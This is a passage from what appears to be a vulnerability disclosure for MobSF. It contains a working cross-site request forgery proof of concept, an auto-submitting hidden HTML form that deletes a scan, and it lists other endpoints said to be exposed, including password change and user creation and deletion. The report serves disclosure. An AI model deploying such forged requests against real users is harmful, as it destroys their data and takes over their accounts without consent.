<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)